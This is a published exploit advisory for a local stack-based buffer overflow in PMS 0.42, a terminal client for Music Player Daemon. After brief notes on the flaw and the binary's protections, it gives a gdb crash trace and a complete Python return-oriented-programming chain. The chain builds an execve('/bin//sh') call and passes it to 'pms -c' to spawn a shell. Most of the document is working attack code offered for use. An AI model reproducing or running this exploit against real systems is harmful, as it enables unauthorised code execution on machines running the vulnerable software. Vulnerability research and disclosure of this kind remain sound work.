PMS 0.42 Local Stack-Based Overflow (ROP)

2018.04.10
Credit: Juan Sacco
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Author: Juan Sacco <jsacco@exploitpack.com> - http://exploitpack.com # # Tested on: Kali i686 GNU/Linux # # Description: PMS 0.42 is prone to a local unauthenticated stack-based overflow # The vulnerability is due to an unproper filter of user supplied input while reading # the configuration file and parsing the malicious crafted values. # # 0004| 0xbfffe6c4 --> 0x445b91 (": could not open file.\n") # 0008| 0xbfffe6c8 --> 0xbfffe720 ("Didn't find configuration file ", 'A' <repeats 169 times>...) # 0012| 0xbfffe6cc --> 0xbfffe6f8 --> 0x736e6f00 ('') # # Program: PMS 0.42 Practical Music Search, an MPD client # PMS is an ncurses based client for Music Player Daemon. # Vendor homepage: https://pms.sourceforge.net # Kali Filename: pool/main/p/pms/pms_0.42-1+b2_i386.deb # # CANARY : disabled # FORTIFY : disabled # NX : ENABLED # PIE : disabled # RELRO : Partial # #0000| 0xbfffe6c0 --> 0x4592a0 --> 0x45f870 --> 0x4 #0004| 0xbfffe6c4 --> 0x445b91 (": could not open file.\n") #0008| 0xbfffe6c8 --> 0xbfffe720 ("Didn't find configuration file ", 'A' <repeats 169 times>...) #0012| 0xbfffe6cc --> 0xbfffe6f8 --> 0x736e6f00 ('') #0016| 0xbfffe6d0 --> 0x4637ef ("german") #0020| 0xbfffe6d4 --> 0x4637f6 ("de_DE.ISO-8859-1") #0024| 0xbfffe6d8 --> 0x46adb0 ("AAAA\240\312F") #0028| 0xbfffe6dc ("2018-04-04 06:57:58") #Legend: code, data, rodata, value #Stopped reason: SIGSEGV #0x0042f6c6 in Pms::log (this=<optimized out>, verbosity=<optimized out>, code=0x41414141, format=<optimized out>) at src/pms.cpp:982 #982 if (!disp && verbosity < MSG_DEBUG) #gdb-peda$ backtrace #0 0x0042f6c6 in Pms::log (this=<optimized out>, verbosity=<optimized out>, code=0x41414141, format=<optimized out>) at src/pms.cpp:982 #1 0x41414141 in ?? () import os, subprocess from struct import pack # rop execve ( bin/sh ) rop = "A"*1017 # junk rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret rop += pack('<I', 0x0811abe0) # @ .data rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x0807b744) # pop eax ; ret rop += '/bin' rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ; pop ebp ; ret rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; popedi ; pop ebp ; ret rop += pack('<I', 0x0811abe4) # @ .data + 4 rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x0807b744) # pop eax ; ret rop += '//sh' rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ; pop ebp ; ret rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret rop += pack('<I', 0x0811abe8) # @ .data + 8 rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ; pop ebp ; ret rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret rop += pack('<I', 0x0811abe0) # @ .data rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x08067b43) # pop ecx ; ret rop += pack('<I', 0x0811abe8) # @ .data + 8 rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret rop += pack('<I', 0x0811abe8) # @ .data + 8 rop += pack('<I', 0x0811abe0) # padding without overwrite ebx rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x41414141) # padding rop += pack('<I', 0x080e571f) # inc eax ; ret rop += pack('<I', 0x080e571f) # inc eax ; ret rop += pack('<I', 0x080e571f) # inc eax ; ret rop += pack('<I', 0x080e571f) # inc eax ; ret rop += pack('<I', 0x080e571f) # inc eax ; ret rop += pack('<I', 0x080e571f) # inc eax ; ret rop += pack('<I', 0x080e571f) # inc eax ; ret rop += pack('<I', 0x080e571f) # inc eax ; ret rop += pack('<I', 0x080e571f) # inc eax ; ret rop += pack('<I', 0x080e571f) # inc eax ; ret rop += pack('<I', 0x080e571f) # inc eax ; ret rop += pack('<I', 0x080c861f) # int 0x80 try: print("[*] PMS 0.42 Buffer Overflow by Juan Sacco") print("[*] Please wait.. running") subprocess.call(["pms -c", rop]) except OSError as e: if e.errno == os.errno.ENOENT: print "PMS not found!" else: print "Error executing exploit" raise


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